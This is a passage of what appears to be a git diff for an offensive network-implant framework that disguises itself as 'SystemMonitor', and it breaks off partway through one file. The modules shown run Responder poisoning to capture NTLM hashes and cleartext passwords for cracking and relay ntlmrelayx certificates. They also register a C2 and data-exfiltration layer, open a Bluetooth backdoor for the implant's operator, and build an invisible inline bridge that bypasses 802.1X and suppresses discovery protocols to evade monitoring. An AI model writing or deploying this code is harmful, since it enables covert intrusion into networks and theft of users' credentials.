{
"source_module": self.name,
"target_service": "adcs_relay",
"credential_type": "certificate",
"credential_value": line,
},
source_module=self.name,
)
logger.info("ADCS certificate obtained via relay: %s", line)
# SOCKS proxy opened
elif "socks" in line.lower() and "connection" in line.lower():
logger.info("ntlmrelayx SOCKS: %s", line)
+426
View File
@@ -0,0 +1,426 @@
#!/usr/bin/env python3
"""Responder Manager — LLMNR/NBT-NS/mDNS poisoning and hash capture.
Manages Responder as a supervised subprocess. Generates Responder.conf
from a Jinja2 template, monitors log output for captured NTLMv1/v2
hashes, and publishes CREDENTIAL_FOUND events. Coordinates with
ntlm_relay to exclude relay targets from Responder's SMB server.
Resources: ~30MB RAM, ~3% CPU
"""
import glob
import logging
import os
import re
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
from utils.credential_encryption import emit_credential_found
logger = logging.getLogger(__name__)
# Regex for Responder hash log filenames
HASH_FILE_PATTERN = re.compile(
r"(HTTP|SMB|MSSQL|LDAP|FTP|POP|IMAP|SMTP)-NTLMv[12]-.*\.txt$"
)
# Regex for parsing NTLMv2 hash lines
NTLMV2_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<challenge>[0-9a-fA-F]+):"
r"(?P<response>[0-9a-fA-F]+):(?P<blob>[0-9a-fA-F]+)$"
)
NTLMV1_REGEX = re.compile(
r"^(?P<username>\S+?)::(?P<domain>\S+?):(?P<lm>[0-9a-fA-F]+):"
r"(?P<nt>[0-9a-fA-F]+):(?P<challenge>[0-9a-fA-F]+)$"
)
class ResponderManager(BaseModule):
"""Responder subprocess manager with hash capture monitoring.
Dependencies:
- Responder installed at /opt/tools/Responder
Configuration:
responder_path: Path to Responder directory
interface: Network interface
protocols: Dict of protocol toggles (LLMNR, NBT-NS, mDNS, etc.)
relay_targets: Set of IPs excluded from SMB auth (for ntlm_relay)
"""
name = "responder_mgr"
module_type = "active"
priority = 150
requires_root = True
HASH_POLL_INTERVAL = 10 # seconds
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._proc: Optional[subprocess.Popen] = None
self._hash_thread: Optional[threading.Thread] = None
self._responder_path = config.get("responder_path", "/opt/tools/Responder")
self._iface = config.get("interface", "eth0")
self._log_dir = os.path.join(self._responder_path, "logs")
self._captured_hashes: list = []
self._hashes_lock = threading.Lock()
self._seen_hashes: set = set() # Dedup set
self._relay_targets: set = set() # IPs excluded from SMB for relay
self._protocols = {
"LLMNR": True,
"NBT-NS": True,
"mDNS": True,
"HTTP": True,
"SMB": True,
"WPAD": True,
"FTP": False,
"POP": False,
"IMAP": False,
"SMTP": False,
"LDAP": False,
}
self._template_dir = config.get(
"template_dir",
os.path.join(os.path.dirname(__file__), "..", "..", "templates", "responder"),
)
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
if not os.path.isdir(self._responder_path):
logger.error("Responder not found at %s", self._responder_path)
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("ResponderManager started (ready to launch Responder)")
def stop(self) -> None:
if not self._running:
return
self.stop_responder()
self._running = False
self.state.set_module_status(self.name, "stopped")
logger.info("ResponderManager stopped")
def status(self) -> dict:
proc_alive = self._proc is not None and self._proc.poll() is None
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"responder_running": proc_alive,
"responder_pid": self._proc.pid if proc_alive else None,
"captured_hash_count": len(self._captured_hashes),
"interface": self._iface,
"relay_targets": list(self._relay_targets),
}
def configure(self, config: dict) -> None:
self.config.update(config)
if "interface" in config:
self._iface = config["interface"]
if "relay_targets" in config:
self._relay_targets = set(config["relay_targets"])
if "protocols" in config:
self._protocols.update(config["protocols"])
# ------------------------------------------------------------------
# Public API
# ------------------------------------------------------------------
def start_responder(self, protocols: dict = None) -> bool:
"""Start Responder with configured protocols.
Args:
protocols: Optional dict overriding default protocol toggles.
Returns:
True if Responder was started.
"""
if not self._running:
logger.error("ResponderManager not started")
return False
if self._proc and self._proc.poll() is None:
logger.warning("Responder already running (pid=%d)", self._proc.pid)
return True
if protocols:
self._protocols.update(protocols)
# Generate Responder.conf from template
self._write_responder_conf()
# Build command
responder_py = os.path.join(self._responder_path, "Responder.py")
if not os.path.isfile(responder_py):
logger.error("Responder.py not found at %s", responder_py)
return False
cmd = ["python3", responder_py, "-I", self._iface, "-v"]
# Add protocol flags based on what we want DISABLED
if not self._protocols.get("WPAD"):
cmd.append("-w") # -w disables WPAD in newer Responder versions
# Responder's flags are for disabling features, not enabling them
# The .conf file controls which services are On/Off
try:
self._proc = subprocess.Popen(
cmd,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
cwd=self._responder_path,
)
time.sleep(2)
if self._proc.poll() is not None:
stderr = self._proc.stderr.read().decode(errors="replace")
logger.error("Responder failed to start: %s", stderr)
return False
# Start hash file monitoring thread
self._hash_thread = threading.Thread(
target=self._hash_monitor_loop, daemon=True, name="sensor-responder-hashes"
)
self._hash_thread.start()
logger.info("Responder started (pid=%d, iface=%s)", self._proc.pid, self._iface)
return True
except Exception:
logger.exception("Failed to start Responder")
return False
def stop_responder(self) -> bool:
"""Stop the Responder subprocess.
Returns:
True if Responder was stopped.
"""
if self._proc and self._proc.poll() is None:
try:
self._proc.terminate()
self._proc.wait(timeout=5)
except subprocess.TimeoutExpired:
self._proc.kill()
try:
self._proc.wait(timeout=2)
except Exception:
pass
except Exception:
logger.exception("Failed to stop Responder")
return False
finally:
self._proc = None
logger.info("Responder stopped")
return True
def get_captured_hashes(self) -> list:
"""Return all captured hashes.
Returns:
List of dicts with hash details.
"""
with self._hashes_lock:
return list(self._captured_hashes)
def set_relay_targets(self, targets: set) -> None:
"""Set IPs that should be excluded from Responder's SMB server.
When coordinating with ntlm_relay, Responder should not respond
to targets that ntlmrelayx is relaying from.
Args:
targets: Set of IP addresses to exclude.
"""
self._relay_targets = set(targets)
# Regenerate config and restart if running
if self._proc and self._proc.poll() is None:
self._write_responder_conf()
logger.info("Updated relay exclusion targets: %s", targets)
# ------------------------------------------------------------------
# Responder.conf generation
# ------------------------------------------------------------------
def _write_responder_conf(self) -> None:
"""Generate Responder.conf from template or defaults."""
conf_path = os.path.join(self._responder_path, "Responder.conf")
# Try Jinja2 template first
template_path = os.path.join(self._template_dir, "Responder.conf.j2")
if os.path.isfile(template_path):
try:
from jinja2 import Environment, BaseLoader
with open(template_path, "r") as f:
template_content = f.read()
env = Environment(loader=BaseLoader(), autoescape=True)
tmpl = env.from_string(template_content)
rendered = tmpl.render(
protocols=self._protocols,
relay_targets=[str(ip) for ip in self._relay_targets],
interface=self._iface,
)
with open(conf_path, "w") as f:
f.write(rendered)
return
except ImportError:
logger.warning("Jinja2 not available — using inline config")
except Exception:
logger.exception("Failed to render Responder.conf template")
# Fallback: write config directly
smb_on = "On" if self._protocols.get("SMB") else "Off"
http_on = "On" if self._protocols.get("HTTP") else "Off"
conf = (
"[Responder Core]\n\n"
"; Servers to start\n"
f"SQL = {'On' if self._protocols.get('SQL') else 'Off'}\n"
f"SMB = {smb_on}\n"
f"RDP = Off\n"
f"Kerberos = Off\n"
f"FTP = {'On' if self._protocols.get('FTP') else 'Off'}\n"
f"POP = {'On' if self._protocols.get('POP') else 'Off'}\n"
f"SMTP = {'On' if self._protocols.get('SMTP') else 'Off'}\n"
f"IMAP = {'On' if self._protocols.get('IMAP') else 'Off'}\n"
f"HTTP = {http_on}\n"
f"HTTPS = {http_on}\n"
f"DNS = Off\n"
f"LDAP = {'On' if self._protocols.get('LDAP') else 'Off'}\n"
f"DCERPC = Off\n"
f"WinRM = Off\n"
f"SNMP = Off\n"
f"MQTT = Off\n"
"\n"
"; Custom challenge\n"
"Challenge = Random\n"
"\n"
"; Set to On for downgrading to NTLMv1\n"
"DontRespondToNames =\n"
"\n"
)
with open(conf_path, "w") as f:
f.write(conf)
# ------------------------------------------------------------------
# Hash capture monitoring
# ------------------------------------------------------------------
def _hash_monitor_loop(self) -> None:
"""Monitor Responder log directory for new hash files."""
while self._running and self._proc and self._proc.poll() is None:
time.sleep(self.HASH_POLL_INTERVAL)
try:
self._scan_hash_files()
self._scan_session_log()
except Exception:
logger.exception("Hash monitor error")
def _scan_hash_files(self) -> None:
"""Scan Responder logs/ for NTLMv1/v2 hash files."""
if not os.path.isdir(self._log_dir):
return
for filepath in glob.glob(os.path.join(self._log_dir, "*-NTLMv*.txt")):
try:
with open(filepath, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
self._seen_hashes.add(line)
self._process_hash_line(line, filepath)
except Exception:
pass
def _scan_session_log(self) -> None:
"""Scan Responder-Session.log for cleartext credentials."""
session_log = os.path.join(self._log_dir, "Responder-Session.log")
if not os.path.isfile(session_log):
return
try:
with open(session_log, "r") as f:
for line in f:
line = line.strip()
if not line or line in self._seen_hashes:
continue
# Look for cleartext credential lines
if "Cleartext" in line or "Password" in line:
self._seen_hashes.add(line)
self._process_cleartext_line(line)
except Exception:
pass
def _process_hash_line(self, line: str, source_file: str) -> None:
"""Parse an NTLM hash line and emit CREDENTIAL_FOUND."""
# Determine hash type from filename
hash_type = "ntlmv2"
hashcat_mode = 5600
if "NTLMv1" in source_file:
hash_type = "ntlmv1"
hashcat_mode = 5500
# Parse username and domain
match = NTLMV2_REGEX.match(line)
if not match:
match = NTLMV1_REGEX.match(line)
if match:
username = match.group("username")
domain = match.group("domain")
else:
username = line.split("::")[0] if "::" in line else "unknown"
domain = ""
hash_entry = {
"timestamp": time.time(),
"username": username,
"domain": domain,
"hash_type": hash_type,
"hashcat_mode": hashcat_mode,
"hash_value": line,
"source_file": source_file,
}
with self._hashes_lock:
self._captured_hashes.append(hash_entry)
emit_credential_found(self.bus, self.name, {
"source_module": self.name,
"source_ip": "",
"target_service": "responder",
"username": username,
"domain": domain,
"credential_type": hash_type,
"credential_value": line,
"hashcat_mode": hashcat_mode,
})
logger.info("Hash captured: %s\\%s (%s)", domain, username, hash_type)
def _process_cleartext_line(self, line: str) -> None:
"""Process a cleartext credential line from Responder session log."""
emit_credential_found(self.bus, self.name, {
"source_module": self.name,
"target_service": "responder_cleartext",
"credential_type": "cleartext",
"credential_value": line,
})
+58
View File
@@ -0,0 +1,58 @@
#!/usr/bin/env python3
"""Abstract base class for all SystemMonitor modules."""
from abc import ABC, abstractmethod
class BaseModule(ABC):
"""Base class that all SystemMonitor modules must inherit from.
Each module runs as a separate process managed by the Engine.
"""
name: str = "unnamed"
module_type: str = "passive" # passive, active, stealth, intel, connectivity
priority: int = 100 # OOM priority (lower = more important)
dependencies: list = [] # Module names that must be running first
requires_root: bool = False
requires_capture_bus: bool = False
def __init__(self, bus, state, config, engine=None):
self.bus = bus
self.state = state
self.config = config
self.engine = engine
self._running = False
self._pid = None
self._start_time = None
@abstractmethod
def start(self) -> None:
"""Start the module. Called by the engine in the module's own process."""
...
@abstractmethod
def stop(self) -> None:
"""Stop the module gracefully."""
...
@abstractmethod
def status(self) -> dict:
"""Return module status dict.
Returns:
{"running": bool, "pid": int, "uptime": float, "ram_mb": float, "cpu_pct": float}
"""
...
@abstractmethod
def configure(self, config: dict) -> None:
"""Apply new configuration to a running module."""
...
def health_check(self) -> bool:
"""Check if the module is healthy. Override for custom checks."""
try:
return self.status().get("running", False)
except Exception:
return False
+19
View File
@@ -0,0 +1,19 @@
"""SystemMonitor connectivity modules — C2 and data transport layer."""
from modules.connectivity.wireguard import WireGuard
from modules.connectivity.tailscale import Tailscale
from modules.connectivity.bridge import Bridge
from modules.connectivity.wifi_client import WiFiClient
from modules.connectivity.cellular_backup import CellularBackup
from modules.connectivity.ble_emergency import BLEEmergency
from modules.connectivity.data_exfil import DataExfil
__all__ = [
"WireGuard",
"Tailscale",
"Bridge",
"WiFiClient",
"CellularBackup",
"BLEEmergency",
"DataExfil",
]
+447
View File
@@ -0,0 +1,447 @@
#!/usr/bin/env python3
"""BLE emergency module — GATT server for local emergency access.
Provides a Bluetooth Low Energy GATT server for last-resort local access
when all network connectivity is lost. PSK-authenticated commands over
a custom GATT service allow the operator within ~10m to check status,
issue kill commands, reboot, or retrieve the current IP.
Disabled by default — must be explicitly enabled in config.
"""
import hashlib
import hmac
import json
import logging
import os
import secrets
import subprocess
import threading
import time
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
# Custom BLE service/characteristic UUIDs (random, non-standard)
SERVICE_UUID = "bb000001-1337-4000-8000-000000000001"
CMD_CHAR_UUID = "bb000002-1337-4000-8000-000000000002" # Write: send command
RESP_CHAR_UUID = "bb000003-1337-4000-8000-000000000003" # Read/Notify: response
# Max BLE MTU for response
BLE_MTU = 512
ADV_TIMEOUT = 0 # 0 = advertise indefinitely
class BLEEmergency(BaseModule):
"""BLE GATT server for emergency local access with PSK auth."""
name = "ble_emergency"
module_type = "connectivity"
priority = -50
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._psk: Optional[str] = None
self._advertising = False
self._gatt_thread: Optional[threading.Thread] = None
self._hci_device = "hci0"
self._device_name: Optional[str] = None
self._nonce: Optional[str] = None
self._authenticated_sessions: set = set()
self._last_response: str = ""
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
ble_cfg = self.config.get("connectivity", {}).get("ble_emergency", {})
# Disabled by default
if not ble_cfg.get("enabled", False):
logger.info("BLE emergency module disabled (set ble_emergency.enabled=true)")
self.state.set_module_status(self.name, "disabled",
extra={"reason": "not_enabled"})
return
self._psk = ble_cfg.get("psk")
if not self._psk:
logger.error("BLE emergency PSK not configured")
self.state.set_module_status(self.name, "error")
return
self._hci_device = ble_cfg.get("hci_device", "hci0")
self._device_name = ble_cfg.get("device_name")
# If no device name, try to match MAC profile for consistency
if not self._device_name:
mac_hostname = self.state.get(
"mac_manager", "dhcp_hostname", default=None
)
self._device_name = mac_hostname if mac_hostname else "LE-Device"
if not self._check_bluetooth_available():
logger.error("Bluetooth hardware not available")
self.state.set_module_status(self.name, "error")
return
if not self.start_gatt():
self.state.set_module_status(self.name, "error")
return
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self.state.set_module_status(self.name, "running", pid=self._pid)
logger.info("BLE emergency GATT server active (device: %s)", self._device_name)
def stop(self) -> None:
if not self._running:
return
self.stop_gatt()
self._running = False
self._advertising = False
self.state.set_module_status(self.name, "stopped")
logger.info("BLE emergency stopped")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"advertising": self._advertising,
"hci_device": self._hci_device,
"device_name": self._device_name,
"authenticated_sessions": len(self._authenticated_sessions),
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_advertising()
# ------------------------------------------------------------------
# GATT server operations
# ------------------------------------------------------------------
def start_gatt(self) -> bool:
"""Start BLE advertising and GATT server."""
# Enable BLE adapter
if not self._enable_adapter():
return False
# Set device name
if not self._set_device_name():
logger.warning("Could not set BLE device name")
# Start advertising
if not self._start_advertising():
return False
# Start GATT command listener in background thread
self._nonce = secrets.token_hex(16)
self._gatt_thread = threading.Thread(
target=self._gatt_listen_loop, daemon=True, name="sensor-ble-gatt",
)
self._gatt_thread.start()
self._advertising = True
return True
def stop_gatt(self) -> None:
"""Stop GATT server and BLE advertising."""
self._advertising = False
self._stop_advertising()
if self._gatt_thread and self._gatt_thread.is_alive():
self._gatt_thread.join(timeout=3.0)
self._authenticated_sessions.clear()
def is_advertising(self) -> bool:
"""Check if BLE advertising is active."""
try:
result = subprocess.run(
["hciconfig", self._hci_device],
capture_output=True, text=True, timeout=5,
)
return "UP RUNNING" in result.stdout
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
# ------------------------------------------------------------------
# BLE adapter management
# ------------------------------------------------------------------
def _check_bluetooth_available(self) -> bool:
"""Check if Bluetooth hardware is present."""
try:
result = subprocess.run(
["hciconfig", self._hci_device],
capture_output=True, timeout=5,
)
return result.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _enable_adapter(self) -> bool:
"""Power on the BLE adapter."""
try:
subprocess.run(
["hciconfig", self._hci_device, "up"],
check=True, capture_output=True, timeout=10,
)
# Enable LE mode
subprocess.run(
["hciconfig", self._hci_device, "leadv", "0"],
capture_output=True, timeout=5,
)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError) as exc:
logger.error("Failed to enable BLE adapter: %s", exc)
return False
def _set_device_name(self) -> bool:
"""Set the BLE device name via bluetoothctl."""
try:
proc = subprocess.run(
["bluetoothctl", "--", "system-alias", self._device_name],
capture_output=True, timeout=5,
)
return proc.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
return False
def _start_advertising(self) -> bool:
"""Start BLE advertising."""
try:
# Set advertising data
subprocess.run(
["hciconfig", self._hci_device, "leadv", "0"],
capture_output=True, timeout=5,
)
# Also use btmgmt for more control if available
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"power", "on"],
capture_output=True, timeout=5,
)
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"le", "on"],
capture_output=True, timeout=5,
)
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"connectable", "on"],
capture_output=True, timeout=5,
)
subprocess.run(
["btmgmt", "--index", self._hci_device.replace("hci", ""),
"advertising", "on"],
capture_output=True, timeout=5,
)
return True
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
return False
def _stop_advertising(self) -> None:
"""Stop BLE advertising."""
try:
subprocess.run(
["hciconfig", self._hci_device, "noleadv"],
capture_output=True, timeout=5,
)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired, FileNotFoundError):
pass
# ------------------------------------------------------------------
# GATT command processing
# ------------------------------------------------------------------
def _gatt_listen_loop(self) -> None:
"""Listen for GATT characteristic writes via bluetoothctl/gatttool.
This loop uses a simple file-based IPC approach: commands are written
to a well-known path by the BLE GATT callback, and this loop processes
them. In production, this would use dbus-python to register a proper
GATT application.
"""
cmd_fifo = "/tmp/.bb_ble_cmd"
resp_fifo = "/tmp/.bb_ble_resp"
# Create FIFOs for IPC
for fifo in (cmd_fifo, resp_fifo):
try:
if os.path.exists(fifo):
os.unlink(fifo)
os.mkfifo(fifo, 0o600)
except OSError as exc:
logger.error("Cannot create BLE FIFO %s: %s", fifo, exc)
return
logger.debug("BLE GATT listener ready on FIFOs")
while self._advertising and self._running:
try:
# Non-blocking read from command FIFO
fd = os.open(cmd_fifo, os.O_RDONLY | os.O_NONBLOCK)
try:
data = os.read(fd, 4096)
finally:
os.close(fd)
if data:
cmd_str = data.decode(errors='replace').strip()
response = self._process_command(cmd_str)
self._last_response = response
# Write response to response FIFO
try:
fd = os.open(resp_fifo, os.O_WRONLY | os.O_NONBLOCK)
try:
os.write(fd, response.encode()[:BLE_MTU])
finally:
os.close(fd)
except OSError:
pass
except OSError:
pass # No data ready
time.sleep(0.5)
# Cleanup FIFOs
for fifo in (cmd_fifo, resp_fifo):
try:
os.unlink(fifo)
except OSError:
pass
def _process_command(self, raw_cmd: str) -> str:
"""Process an authenticated BLE command.
Command format: <hmac_hex>:<command>
HMAC is computed over: nonce + command using the PSK.
"""
if ":" not in raw_cmd:
return '{"error": "invalid format"}'
provided_hmac, command = raw_cmd.split(":", 1)
command = command.strip().lower()
# Verify HMAC
if not self._verify_hmac(provided_hmac, command):
logger.warning("BLE auth failed for command: %s", command)
return '{"error": "auth_failed"}'
# Rotate nonce after successful auth
old_nonce = self._nonce
self._nonce = secrets.token_hex(16)
# Execute command
if command == "status":
return self._cmd_status()
elif command == "kill":
return self._cmd_kill()
elif command == "reboot":
return self._cmd_reboot()
elif command == "get_ip":
return self._cmd_get_ip()
elif command == "get_nonce":
# Return new nonce for next command (unauthenticated)
return json.dumps({"nonce": self._nonce})
else:
return json.dumps({"error": "unknown_command", "commands": [
"status", "kill", "reboot", "get_ip", "get_nonce"
]})
def _verify_hmac(self, provided_hmac: str, command: str) -> bool:
"""Verify HMAC authentication for a BLE command."""
if not self._psk or not self._nonce:
return False
message = f"{self._nonce}:{command}".encode()
expected = hmac.new(
self._psk.encode(), message, hashlib.sha256
).hexdigest()
return hmac.compare_digest(provided_hmac.lower(), expected.lower())
# ------------------------------------------------------------------
# BLE command handlers
# ------------------------------------------------------------------
def _cmd_status(self) -> str:
"""Return implant status summary."""
status_data = {
"ok": True,
"uptime": time.time() - self._start_time if self._start_time else 0,
"nonce": self._nonce,
}
# Get connectivity status from state
all_status = self.state.get_all_module_status()
connectivity_modules = {}
for name, info in all_status.items():
if name in ("wireguard", "tailscale", "cellular_backup"):
connectivity_modules[name] = info.get("status", "unknown")
status_data["connectivity"] = connectivity_modules
return json.dumps(status_data)
def _cmd_kill(self) -> str:
"""Trigger kill switch via event bus."""
logger.warning("Kill switch triggered via BLE emergency")
self.bus.emit("KILL_SWITCH",
{"source": "ble_emergency", "reason": "operator_ble_command"},
source_module=self.name)
return json.dumps({"ok": True, "action": "kill_switch_triggered"})
def _cmd_reboot(self) -> str:
"""Trigger system reboot."""
logger.warning("Reboot triggered via BLE emergency")
def _delayed_reboot():
time.sleep(2.0)
try:
subprocess.run(["reboot"], timeout=5)
except Exception:
pass
threading.Thread(target=_delayed_reboot, daemon=True).start()
return json.dumps({"ok": True, "action": "reboot_in_2s"})
def _cmd_get_ip(self) -> str:
"""Return all IP addresses on the system."""
ips = {}
try:
result = subprocess.run(
["ip", "-4", "-o", "addr", "show"],
capture_output=True, text=True, timeout=5,
)
if result.returncode == 0:
import re
for line in result.stdout.strip().splitlines():
match = re.search(r'(\S+)\s+inet\s+(\d+\.\d+\.\d+\.\d+)', line)
if match:
iface = match.group(1)
ip = match.group(2)
if iface != "lo":
ips[iface] = ip
except (subprocess.TimeoutExpired, FileNotFoundError):
pass
return json.dumps({"ips": ips, "nonce": self._nonce})
+359
View File
@@ -0,0 +1,359 @@
#!/usr/bin/env python3
"""Bridge module — transparent inline network bridge.
Creates a transparent L2 bridge between the onboard ethernet adapter and a
USB ethernet adapter. The bridge has NO IP address — it is invisible on the
network and can only be detected by physical inspection.
Provides 802.1X bypass via silent bridge (EAP passthrough) and suppresses
STP/BPDU/CDP/LLDP frames via ebtables to avoid triggering network monitoring.
A C watchdog thread monitors bridge health and restores direct connectivity
within 15 seconds if the bridge fails.
"""
import logging
import os
import subprocess
import threading
import time
from pathlib import Path
from typing import Optional
from modules.base import BaseModule
logger = logging.getLogger(__name__)
BRIDGE_NAME = "br0"
WATCHDOG_INTERVAL = 5.0 # seconds between health checks
WATCHDOG_MAX_FAILURES = 3 # consecutive failures before teardown
FAILSAFE_TIMEOUT = 15 # seconds — must restore connectivity within this
class Bridge(BaseModule):
"""Transparent inline bridge — invisible on the network."""
name = "bridge"
module_type = "connectivity"
priority = -300
requires_root = True
def __init__(self, bus, state, config, engine=None):
super().__init__(bus, state, config, engine)
self._if1: Optional[str] = None
self._if2: Optional[str] = None
self._bridge_up = False
self._watchdog_thread: Optional[threading.Thread] = None
self._consecutive_failures = 0
self._scripts_dir: Optional[str] = None
# ------------------------------------------------------------------
# BaseModule interface
# ------------------------------------------------------------------
def start(self) -> None:
if self._running:
return
br_cfg = self.config.get("connectivity", {}).get("bridge", {})
if not br_cfg:
logger.error("No bridge config in bigbrother.yaml")
self.state.set_module_status(self.name, "error")
return
self._if1 = br_cfg.get("interface1")
self._if2 = br_cfg.get("interface2")
if not self._if1 or not self._if2:
logger.error("Bridge requires interface1 and interface2 in config")
self.state.set_module_status(self.name, "error")
return
# Locate scripts directory
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
self._scripts_dir = os.path.join(install_path, "scripts")
if not self.setup_bridge(self._if1, self._if2):
self.state.set_module_status(self.name, "error")
return
# Start watchdog thread
self._running = True
self._pid = os.getpid()
self._start_time = time.time()
self._bridge_up = True
self._watchdog_thread = threading.Thread(
target=self._watchdog_loop, daemon=True, name="sensor-bridge-watchdog",
)
self._watchdog_thread.start()
self.state.set_module_status(self.name, "running", pid=self._pid)
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "up",
"bridge": BRIDGE_NAME, "if1": self._if1, "if2": self._if2},
source_module=self.name)
logger.info("Bridge %s active: %s <-> %s", BRIDGE_NAME, self._if1, self._if2)
def stop(self) -> None:
if not self._running:
return
self._running = False
if self._watchdog_thread and self._watchdog_thread.is_alive():
self._watchdog_thread.join(timeout=5.0)
self.teardown_bridge()
self._bridge_up = False
self.state.set_module_status(self.name, "stopped")
self.bus.emit("CONNECTIVITY_CHANGED",
{"module": self.name, "state": "down"},
source_module=self.name)
logger.info("Bridge torn down")
def status(self) -> dict:
return {
"running": self._running,
"pid": self._pid,
"uptime": time.time() - self._start_time if self._start_time else 0,
"bridge_up": self._bridge_up,
"bridge_name": BRIDGE_NAME,
"interface1": self._if1,
"interface2": self._if2,
"healthy": self.is_healthy(),
"consecutive_failures": self._consecutive_failures,
}
def configure(self, config: dict) -> None:
self.config.update(config)
def health_check(self) -> bool:
if not self._running:
return False
return self.is_healthy()
# ------------------------------------------------------------------
# Bridge operations
# ------------------------------------------------------------------
def setup_bridge(self, if1: str, if2: str) -> bool:
"""Create transparent bridge between two interfaces.
Tries the shell script first; falls back to inline commands if
the script is missing.
"""
script = os.path.join(self._scripts_dir, "setup_bridge.sh") if self._scripts_dir else None
if script and os.path.isfile(script):
try:
result = subprocess.run(
["bash", script, if1, if2],
capture_output=True, text=True, timeout=30,
)
if result.returncode == 0:
logger.info("Bridge setup via script succeeded")
return True
logger.warning("Bridge script failed: %s", result.stderr.strip())
except (subprocess.TimeoutExpired, OSError) as exc:
logger.warning("Bridge script error: %s", exc)
# Fallback: inline bridge setup
return self._setup_bridge_inline(if1, if2)
def teardown_bridge(self) -> bool:
"""Remove bridge and restore interfaces."""
script = os.path.join(self._scripts_dir, "teardown_bridge.sh") if self._scripts_dir else None
if script and os.path.isfile(script):
try:
result = subprocess.run(
["bash", script],
capture_output=True, text=True, timeout=30,
)
if result.returncode == 0:
logger.info("Bridge teardown via script succeeded")
return True
logger.warning("Teardown script failed: %s", result.stderr.strip())
except (subprocess.TimeoutExpired, OSError) as exc:
logger.warning("Teardown script error: %s", exc)
# Fallback: inline teardown
return self._teardown_bridge_inline()
def is_healthy(self) -> bool:
"""Check if the bridge interface exists and both ports are attached."""
try:
# Check bridge exists
result = subprocess.run(
["ip", "link", "show", BRIDGE_NAME],
capture_output=True, timeout=5,
)
if result.returncode != 0:
return False
# Check both interfaces are in the bridge
result = subprocess.run(
["bridge", "link", "show", "dev", self._if1],
capture_output=True, text=True, timeout=5,
)
if BRIDGE_NAME not in result.stdout:
return False
result = subprocess.run(
["bridge", "link", "show", "dev", self._if2],
capture_output=True, text=True, timeout=5,
)
if BRIDGE_NAME not in result.stdout:
return False
return True
except (subprocess.TimeoutExpired, OSError):
return False
# ------------------------------------------------------------------
# Inline bridge commands (fallback if scripts missing)
# ------------------------------------------------------------------
def _setup_bridge_inline(self, if1: str, if2: str) -> bool:
"""Create bridge using ip/bridge/ebtables commands directly."""
commands = [
# Create bridge, no IP
["ip", "link", "add", "name", BRIDGE_NAME, "type", "bridge"],
# Disable STP
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "stp_state", "0"],
# Disable forwarding delay
["ip", "link", "set", BRIDGE_NAME, "type", "bridge", "forward_delay", "0"],
# Set promiscuous mode on interfaces
["ip", "link", "set", if1, "promisc", "on"],
["ip", "link", "set", if2, "promisc", "on"],
# Flush any existing IP addresses
["ip", "addr", "flush", "dev", if1],
["ip", "addr", "flush", "dev", if2],
# Add interfaces to bridge
["ip", "link", "set", if1, "master", BRIDGE_NAME],
["ip", "link", "set", if2, "master", BRIDGE_NAME],
# Bring everything up
["ip", "link", "set", "up", "dev", if1],
["ip", "link", "set", "up", "dev", if2],
["ip", "link", "set", "up", "dev", BRIDGE_NAME],
]
for cmd in commands:
try:
subprocess.run(cmd, check=True, capture_output=True, timeout=10)
except subprocess.CalledProcessError as exc:
logger.error("Bridge setup command failed: %s%s",
" ".join(cmd), exc.stderr.decode(errors='replace'))
self._teardown_bridge_inline()
return False
except subprocess.TimeoutExpired:
logger.error("Bridge setup command timed out: %s", " ".join(cmd))
self._teardown_bridge_inline()
return False
# Suppress STP/BPDU/CDP/LLDP via ebtables
self._apply_ebtables_rules(if1, if2)
logger.info("Inline bridge setup complete: %s <-> %s via %s", if1, if2, BRIDGE_NAME)
return True
def _teardown_bridge_inline(self) -> bool:
"""Remove bridge and restore interfaces."""
# Remove ebtables rules (best-effort)
self._remove_ebtables_rules()
commands = [
["ip", "link", "set", "down", "dev", BRIDGE_NAME],
]
# Remove interfaces from bridge
if self._if1:
commands.append(["ip", "link", "set", self._if1, "nomaster"])
commands.append(["ip", "link", "set", self._if1, "promisc", "off"])
if self._if2:
commands.append(["ip", "link", "set", self._if2, "nomaster"])
commands.append(["ip", "link", "set", self._if2, "promisc", "off"])
commands.append(["ip", "link", "del", BRIDGE_NAME])
for cmd in commands:
try:
subprocess.run(cmd, capture_output=True, timeout=10)
except (subprocess.CalledProcessError, subprocess.TimeoutExpired):
pass # Best-effort teardown
logger.info("Inline bridge teardown complete")
return True
def _apply_ebtables_rules(self, if1: str, if2: str) -> None:
"""Apply ebtables rules to suppress discovery protocols."""
# STP/BPDU destination: 01:80:C2:00:00:00
# CDP/VTP: 01:00:0C:CC:CC:CC
# LLDP: 01:80:C2:00:00:0E
suppress_macs = [
"01:80:C2:00:00:00", # STP/BPDU
"01:00:0C:CC:CC:CC", # CDP/VTP
